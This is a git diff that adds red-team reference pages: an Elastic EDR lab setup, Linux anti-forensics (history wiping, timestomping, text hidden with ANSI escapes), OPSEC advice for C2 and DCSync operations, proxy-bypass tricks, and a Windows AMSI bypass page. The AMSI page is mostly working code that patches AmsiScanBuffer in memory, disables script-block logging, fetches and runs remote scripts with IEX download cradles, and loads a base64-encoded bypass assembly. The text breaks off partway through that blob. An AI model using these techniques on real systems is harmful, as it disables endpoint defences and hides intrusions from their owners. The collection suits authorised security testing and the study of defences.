ca-certificates curl + sudo install -m 0755 -d /etc/apt/keyrings + sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc + sudo chmod a+r /etc/apt/keyrings/docker.asc + + # Add the repository to Apt sources: + echo \ + "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \ + $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \ + sudo tee /etc/apt/sources.list.d/docker.list > /dev/null + sudo apt-get update + + # Install docker from apt + sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin + ``` + +* You might want to grant the `docker` right to the default user + + ```ps1 + sudo groupadd docker + sudo usermod -aG docker $USER + ``` + +* Install the requirements for the elastic scripts + + ```ps1 + apt-get update + apt-get install jq git curl + ``` + +* Clone the project + + ```ps1 + git clone https://github.com/peasead/elastic-container + cd elastic-container + ``` + +* Edit `.env` to set the credentials and activate rules + + ```ps1 + ELASTIC_PASSWORD="changeme" + KIBANA_PASSWORD="changeme" + STACK_VERSION="8.11.2" + WindowsDR=1 + LICENSE=trial # enable the platinum features + ``` + +* Download the images and run the containers + + ```ps1 + chmod +x ./elastic-container.sh + ./elastic-container.sh start + ``` + +* Access the Elastic EDR interface at `https://localhost:5601` +* Fleet > `Add agent` +* Enroll in Fleet (recommended) +* Copy Windows PowerShell one-liner and append the `--insecure` flag if you are using untrusted certificates + + ```ps1 + powershell Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-7.15.1-windows-x86_64.zip -outfile elastic-agent-7.15.1-windows-x86_64.zip + Expand-Archive -Path elastic-agent-7.15.1-windows-x86_64.zip -DestinationPath C:\ElasticAgent + C:\ElasticAgent\elastic-agent-7.15.1-windows-x86_64\elastic-agent.exe install -f --fleet-server-es={{ fleet_server_es }} --fleet-server-service-token={{ fleet_token }} --fleet-server-policy={{ fleet_policy }} + ``` + +* Fleet > Integrations > Elastic Defend + * Switch `Prevent` to `Detect`, to keep the execution running + * Enable these features to collect more data + + ```ps1 + windows.advanced.memory_protection.shellcode_collect_sample + windows.advanced.memory_protection.memory_scan_collect_sample + windows.advanced.memory_protection.shellcode_enhanced_pe_parsing + ``` + +* Destroy the containers + + ```ps1 + ./elastic-container.sh destroy + ``` + +## References + +* [The Elastic Container Project for Security Research - Andrew Pease, Colson Wilhoit, Derek Ditch - 1 March 2023](https://www.elastic.co/security-labs/the-elastic-container-project) +* [Cyber Security Lab Basics - Installing EDR in Malware Development Lab - AhmedS Kasmani](https://www.youtube.com/watch?v=1luhjL7TN9U) +* [Setting Up Elastic 8 with Kibana, Fleet, Endpoint Security, and Windows Log Collection - IppSec - 10 oct. 2022](https://youtu.be/Ts-ofIVRMo4) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/linux-evasion.md b/personas/_shared/internal-allthethings/redteam/evasion/linux-evasion.md new file mode 100644 index 0000000..672a2b9 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/linux-evasion.md @@ -0,0 +1,137 @@ +# Linux - Evasion + +## Summary + +- [File Names](#file-names) +- [Command History](#command-history) +- [Hiding Text](#hiding-text) +- [Timestomping](#timestomping) +- [Hiding PID Listings From Non-Root Users](#hiding-pid-listings-from-non-root-users) + +## File Names + +An Unicode zero-width space can be inserted into filenames which makes the names visually indistinguishable: + +```bash +# A decoy file with no special characters +touch 'index.php' + +# An imposter file with visually identical name +touch $'index\u200D.php' +``` + +## Command History + +Most shells save their command history so a user can recall them again later. The command history can be viewed with the `history` command or by manually inspecting the contents of the file pointed to by `$HISTFILE` (e.g. `~/.bash_history`). +This can be prevented in a number of ways. + +```bash +# Prevent writing to the history file at all +unset HISTFILE + +# Don't save this session's command history in memory +export HISTSIZE=0 +``` + +Individual commands that match a pattern in `HISTIGNORE` will be excluded from the command history, regardless of `HISTFILE` or `HISTSIZE` settings. +By default, `HISTIGNORE` will ignore all commands that begin with whitespace: + +```bash +# Note the leading space character: + my-sneaky-command +``` + +If commands are accidentally added to the command history, individual command entries can be removed with `history -d`: + +```bash +# Removes the most recently logged command. +# Note that we actually have to delete two history entries at once, +# otherwise the `history -d` command itself will be logged as well. +history -d -2 && history -d -1 +``` + +The entire command history can be purged as well, although this approach is much less subtle and very likely to be noticed: + +```bash +# Clears the in-memory history and writes the empty history to disk. +history -c && history -w +``` + +For a more destructive approach, you can either delete the contents of the `.bash_history` file or link it to `/dev/null` to prevent future history logging. + +```ps1 +# Permanently disable bash history by linking it to /dev/null +ln /dev/null -/.bash_history -sf + +# Clear the existing bash history +echo "" > .bash history +``` + +## Hiding Text + +ANSI escape sequences can be abused to hide text under certain circumstances. +If the file's contents are printed to the terminal (e.g. `cat`, `head`, `tail`) then the text will be hidden. +If the file is viewed with an editor (e.g. `vim`, `nano`, `emacs`), then the escape sequences will be visible. + +```bash +echo "sneaky-payload-command" > script.sh +echo "# $(clear)" >> script.sh +echo "# Do not remove. Generated from /etc/issue.conf by configure." >> script.sh + +# When printed, the terminal will be cleared and only the last line will be visible: +cat script.sh +``` + +## Timestomping + +Timestomping refers to the alteration of a file or directory's modification/access timestamps in order to conceal the fact that it was modified. +The simplest way to accomplish this is with the `touch` command: + +```bash +# Changes the access (-a) and modification (-m) times using YYYYMMDDhhmm format. +touch -a -m -t 202210312359 "example" + +# Changes time using a Unix epoch timestamp. +touch -a -m -d @1667275140 "example" + +# Copies timestamp from one file to another. +touch -a -m -r "other_file" "example" + +# Get the file's modification timestamp, modify the file, then restore the timestamp. +MODIFIED_TS=$(stat --format="%Y" "example") +echo "backdoor" >> "example" +touch -a -m -d @$MODIFIED_TS "example" +``` + +It should be noted that `touch` can only modify the access and modification timestamps. It can't be used to update a file's "change" or "birth" timestamps. The birth timestamp, if supported by the filesystem, tracks when the file was created. The change timestamp tracks whenever the file's metadata changes, including updates to the access and modification timestamps. + +If an attacker has root privileges, they can work around this limitation by modifying the system clock, creating or modifying a file, then reverting the system clock: + +```bash +ORIG_TIME=$(date) +date -s "2022-10-31 23:59:59" +touch -a -m "example" +date -s "${ORIG_TIME}" +``` + +Don't forget that creating a file also updates the parent directory's modification timestamp as well! + +## Hiding PID Listings From Non-Root Users + +By default, the `/proc` filesystem exposes process information to all users. You can limit this access to only root by modifying the `/proc` mount options. + +```ps1 +sudo mount -o remount,rw,nosuid,nodev,noexec,relatime,hidepid=2 /proc +``` + +- `hidepid=2`: Hides all processes that don't belong to the user. +- `hidepid=1`: Hides only process details (command line, environment variables) but still shows PIDs. + +## References + +- [ATT&CK - Impair Defenses: Impair Command History Logging](https://attack.mitre.org/techniques/T1562/003/) +- [ATT&CK - Indicator Removal: Timestomp](https://attack.mitre.org/techniques/T1070/006/) +- [ATT&CK - Indicator Removal on Host: Clear Command History](https://attack.mitre.org/techniques/T1070/003/) +- [ATT&CK - Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [Wikipedia - ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) +- [InverseCos - Detecting Linux Anti-Forensics: Timestomping](https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/opsec-fails.md b/personas/_shared/internal-allthethings/redteam/evasion/opsec-fails.md new file mode 100644 index 0000000..7c4acee --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/opsec-fails.md @@ -0,0 +1,64 @@ +# OPSEC + +## Infrastructure + +* Use generic name for DNS, avoid company names +* Use wildcard (*) when issuing certificates to avoid leaking internal name +* Do not use the default certificates embedded in your C2: [elastic/Default Cobalt Strike Team Server Certificate](https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/network/command_and_control_cobalt_strike_default_teamserver_cert), [zeek/zeek_default_cobalt_strike_certificate](https://detection.fyi/sigmahq/sigma/network/zeek/zeek_default_cobalt_strike_certificate/) + + ```cs + (event.dataset: network_traffic.tls or event.category: (network or network_traffic)) + and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83 + or tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C + or tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C) + ``` + +* Disable staging endpoints or restrict the access +* Do not upload your stealthy binaries to VirusTotal or other online scanners +* Guardrails your payload to trigger for a specific user/domain/computer name +* Use a redirector, don't expose your C2 TLS stack to the web + +## Behavior + +* Avoid calling commands such as `whoami` + * List your kerberos tickets + * Look for the owner of the process that spawned your beacon + * List your environment variables: dir env: and dir env:USERNAME + * Use a beacon object file (BOF) to bring your own whoami +* DCSync (Replication) is always done between domain controllers + * DCSync from machine accounts look more legit than with a user account + * You don't need to dump the whole database, the account krbtgt will grant you every access you need. +* Kerberoasting must use the correct encryption, RC4 is often the default in offensive tool instead of AES. + +## IOC + +**Gophish**: + +* Default `RID` parameter: [gophish/campaign.go#L130](https://github.com/gophish/gophish/blob/8e79294413932fa302212d8e785b281fb0f8896d/models/campaign.go#L130) +* Default `X-Mailer` header containing the `ServerName`: [gophish/config.go#L46](https://github.com/gophish/gophish/blob/8e79294413932fa302212d8e785b281fb0f8896d/config/config.go#L46) +* Default `X-Gophish-Contact`: [gophish/email_request.go#L123](https://github.com/gophish/gophish/blob/8e79294413932fa302212d8e785b281fb0f8896d/models/email_request.go#L123) + +**Impacket**: + +* smbexec.py is using a service to execute commands. In the earliest version, it was named `BTOBTO` but it has now 8 random characters. Change it to 10+ characters to break other correlation rules. +* psexec.py is based on a well known service released on January 2012: [kavika13/RemComSvc](https://github.com/kavika13/RemCom) +* wmiexec.py every command will be prefixed with `cmd.exe /Q` /c : [impacket/wmiexec.py#L127](https://github.com/fortra/impacket/blob/master/examples/wmiexec.py#L127) + +**NetExec**: + +* NetExec uses Impacket library, it shares the same IOC +* Kerberoasting search filter query all accounts: [NetExec/ldap.py#L931](https://github.com/Pennyw0rth/NetExec/blob/5f29e661b7e2f367faf2af7688f777d8b2d1bf6d/nxc/protocols/ldap.py#L931) + + ```py + (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))) + ``` + +**AWS**: + +* AWS cli is using Boto3 library, it sends a User-Agent containing the operating system version in every requests + * Kali Linux OS is raising an alert: [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) + +## References + +* [DLS 2024 - RedTeam Fails - "Oops my bad I ruined the operation" - Swissky - January 15, 2024](https://swisskyrepo.github.io/Drink-Love-Share-Rump/) +* [Five Ways I got Caught before Lunch - Mystikcon 2021 - cyberv1s3r1on3 - November 24, 2021](https://youtu.be/qIbrozlf2wM) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/proxy-bypass.md b/personas/_shared/internal-allthethings/redteam/evasion/proxy-bypass.md new file mode 100644 index 0000000..b25a172 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/proxy-bypass.md @@ -0,0 +1,105 @@ +# Proxy Bypass + +> An HTTP proxy server acts as an intermediary between a client (like a web browser) and a web server. It processes client requests for web resources, fetches them from the destination server, and returns them to the client. + +## Summary + +* [Methodology](#methodology) + * [Discover Proxy Configuration](#discover-proxy-configuration) + * [PAC Proxy](#pac-proxy) + * [Common Bypass](#common-bypass) +* [References](#references) + +## Methodology + +### Discover Proxy Configuration + +* Windows, in the registry key `DefaultConnectionSettings` + + ```ps1 + Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings + Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer + ``` + +* Windows: + + ```ps1 + netsh winhttp show proxy + ``` + +* Linux, in the environment variables `http_proxy` and `https_proxy` + + ```ps1 + env + cat /etc/profile.d/proxy.conf + ``` + +### PAC Proxy + +PAC (Proxy Auto-Configuration) is a method to automatically determine whether web traffic should go through a proxy server. It uses a .pac file that contains a JavaScript function called `FindProxyForURL(url, host)`. + +* proxy.pac +* wpad.dat + +**Example**: + +```ps1 +function FindProxyForURL(url, host) { + if (dnsDomainIs(host, '.example.com')) { + return 'DIRECT'; + } + return 'PROXY proxy.example.com:8080'; +} +``` + +**Tools**: + +* [PortSwigger - Proxy Auto Config](https://portswigger.net/bappstore/7b3eae07aa724196ab85a8b64cd095d1) - This extension automatically configures Burp upstream proxies to match desktop proxy settings. This includes support for Proxy Auto-Config (PAC) scripts. + +### Common Bypass + +* Try several way to reach the Internet + * IP address + * Domain categorized in Health/Finance + +* Use another proxy reachable in the same environment + +* Weak regular expression for URL can be abused to bypass the proxy configuration + + ```ps1 + user:pass@domain/endpoint?parameter#hash + e.g: microsoft.com:microsoft.com@microsoft.com.evil.com/microsoft.com?microsoft.com#microsoft.com + ``` + +* Trusted Websites: [Living Off Trusted Sites (LOTS) Project](https://lots-project.com/) + * Amazon Cloud: AWS endpoints + * Microsoft Cloud: Azure endpoints + * Google Cloud: GCP endpoints + * live.sysinternals.com + +* User-Agents + * Tools related User-Agent: curl, python, powershell + + ```ps1 + User-Agent: curl/8.11.0 + User-Agent: python-requests/2.32.3 + User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.2161 + ``` + + * Platform related User-Agent: Android/iOS/Tablet + + ```ps1 + Mozilla/5.0 (Linux; Android 14; Pixel 9 Build/AD1A.240905.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/129.0.6668.78 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/484.0.0.63.83;IABMV/1;] + Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/485.1.0.45.110;FBBV/665337277;FBDV/iPhone17,1;FBMD/iPhone;FBSN/iOS;FBSV/18.0.1;FBSS/3;FBCR/;FBID/phone;FBLC/it_IT;FBOP/80] + ``` + +* Domain Fronting +* Protocols + * TCP + * Websocket (HTTP) + * DNS Exfiltration + +## References + +* [Proxy managed by enterprise? No problem! Abusing PAC and the registry to get burpin’ - Thomas Grimée - August 17, 2021](https://blog.nviso.eu/2021/08/17/proxy-managed-by-enterprise-no-problem-abusing-pac-and-the-registry-to-get-burpin/) +* [Proxy: Internal Proxy - MITRE ATT&CK - March 14, 2020](https://attack.mitre.org/versions/v16/techniques/T1090/001/) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/windows-amsi-bypass.md b/personas/_shared/internal-allthethings/redteam/evasion/windows-amsi-bypass.md new file mode 100644 index 0000000..0c33fc6 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/windows-amsi-bypass.md @@ -0,0 +1,781 @@ +# Windows - AMSI Bypass + +## Summary + +* [List AMSI Providers](#list-amsi-providers) +* [Which Endpoint Protection is Using AMSI](#which-endpoint-protection-is-using-amsi) +* [Patching amsi.dll AmsiScanBuffer by rasta-mouse](#patching-amsidll-amsiscanbuffer-by-rasta-mouse) +* [Dont use net webclient](#dont-use-net-webclient) +* [Amsi ScanBuffer Patch from -> https://www.contextis.com/de/blog/amsi-bypass](#amsi-scanbuffer-patch) +* [Forcing an error](#forcing-an-error) +* [Disable Script Logging](#disable-script-logging) +* [Amsi Buffer Patch - In memory](#amsi-buffer-patch---in-memory) +* [Same as 6 but integer Bytes instead of Base64](#same-as-6-but-integer-bytes-instead-of-base64) +* [Using Matt Graeber's Reflection method](#using-matt-graebers-reflection-method) +* [Using Matt Graeber's Reflection method with WMF5 autologging bypass](#using-matt-graebers-reflection-method-with-wmf5-autologging-bypass) +* [Using Matt Graeber's second Reflection method](#using-matt-graebers-second-reflection-method) +* [Using Cornelis de Plaa's DLL hijack method](#using-cornelis-de-plaas-dll-hijack-method) +* [Use Powershell Version 2 - No AMSI Support there](#using-powershell-version-2) +* [Nishang all in one](#nishang-all-in-one) +* [Adam Chesters Patch](#adam-chester-patch) +* [AMSI.fail](#amsifail) + +## List AMSI Providers + +* List providers with : `Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\'` +* Find software from CLSID + + ```ps1 + Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}' + Name Property + ---- -------- + Hosts (default) : Scanned Hosting Applications + InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll" + ``` + +## Which Endpoint Protection is Using AMSI + +Small extract from [subat0mik/whoamsi](https://github.com/subat0mik/whoamsi) - An effort to track security vendors' use of Microsoft's Antimalware Scan Interface: + +| Vendor/Product | AMSI | Date | Reference | +| -------- | -------- | -------- | -------- | +| Avast | Y | 03/20/2016 | | +| AVG | Y | 03/08/2016 | | +| BitDefender Consumer | Y | 09/20/2016 | | +| BitDefender Enterprise | Y | 05/25/2021 | | +| Kaspersky Anti Targeted Attack Platform | Y | 10/10/2018 | | +| Symantec Advanced Threat Protection | Y | 07/15/2020 | | +| Microsoft Defender for Endpoint | Y | 06/09/2015 | | + +## Patching amsi.dll AmsiScanBuffer by rasta-mouse + +```ps1 +$Win32 = @" + +using System; +using System.Runtime.InteropServices; + +public class Win32 { + + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + +} +"@ + +Add-Type $Win32 + +$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") +$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") +$p = 0 +[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) +$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) +[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) +``` + +## Dont use net webclient + +> Not Working anymore, there was a patch for it + +```ps1 +$webreq = [System.Net.WebRequest]::Create(‘https://maliciousscripturl/malicious.ps1’) +$resp=$webreq.GetResponse() +$respstream=$resp.GetResponseStream() +$reader=[System.IO.StreamReader]::new($respstream) +$content=$reader.ReadToEnd() +IEX($content) +``` + +## The Short version of dont use powershell net webclient + +> Not Working anymore, there was a patch for it + +```ps1 +IEX([Net.Webclient]::new().DownloadString("https://maliciousscripturl/malicious.ps1")) +``` + +## Amsi ScanBuffer Patch + +Egghunter with blog post: + +```ps1 +Write-Host "-- AMSI Patch" +Write-Host "-- Paul Laîné (@am0nsec)" +Write-Host "" + +$Kernel32 = @" +using System; +using System.Runtime.InteropServices; + +public class Kernel32 { + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); + + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string lpLibFileName); + + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); +} +"@ + +Add-Type $Kernel32 + +Class Hunter { + static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { + while ($true) { + [int]$count = 0 + + while ($true) { + [IntPtr]$address = [IntPtr]::Add($address, 1) + If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { + $count++ + If ($count -eq $egg.Length) { + return [IntPtr]::Subtract($address, $egg.Length - 1) + } + } Else { break } + } + } + + return $address + } +} + +[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") +Write-Host "[+] AMSI DLL Handle: $hModule" + +[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") +Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" + +If ([IntPtr]::Size -eq 8) { + Write-Host "[+] 64-bits process" + [byte[]]$egg = [byte[]] ( + 0x4C, 0x8B, 0xDC, # mov r11,rsp + 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx + 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp + 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi + 0x57, # push rdi + 0x41, 0x56, # push r14 + 0x41, 0x57, # push r15 + 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h + ) +} Else { + Write-Host "[+] 32-bits process" + [byte[]]$egg = [byte[]] ( + 0x8B, 0xFF, # mov edi,edi + 0x55, # push ebp + 0x8B, 0xEC, # mov ebp,esp + 0x83, 0xEC, 0x18, # sub esp,18h + 0x53, # push ebx + 0x56 # push esi + ) +} +[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg) +Write-Host "[+] Targeted address: $targetedAddress" + +$oldProtectionBuffer = 0 +[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null + +$patch = [byte[]] ( + 0x31, 0xC0, # xor rax, rax + 0xC3 # ret +) +[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) + +$a = 0 +[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null +``` + +## Forcing an error + +```ps1 +$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) + +[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) +``` + +## Disable Script Logging + +```ps1 +$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); +$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{} +$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0") +``` + +```ps1 +[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')) +``` + +## Amsi Buffer Patch - In memory + +```ps1 +function Bypass-AMSI +{ + if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("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YXJkAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5SW5mb3JtYXRpb25hbFZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBCeXRlAGR3U2l6ZQBzaXplAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAQWxsb2NIR2xvYmFsAE1hcnNoYWwAS2VybmVsMzIuZGxsAEFtc2lCeXBhc3MuZGxsAFN5c3RlbQBTeXN0ZW0uUmVmbGVjdGlvbgBvcF9BZGRpdGlvbgBaZXJvAC5jdG9yAFVJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFJ1bnRpbWVIZWxwZXJzAEFtc2lCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAARYQBtAHMAaQAuAGQAbABsAABXRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAGEAbQBzAGkALgBkAGwAbAAgAHAAbwBpAG4AdABlAHIALgAAHUEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAAc0UAUgBSAE8AUgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIAByAGUAdAByAGkAZQB2AGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABmAHUAbgBjAHQAaQBvAG4AIABwAG8AaQBuAH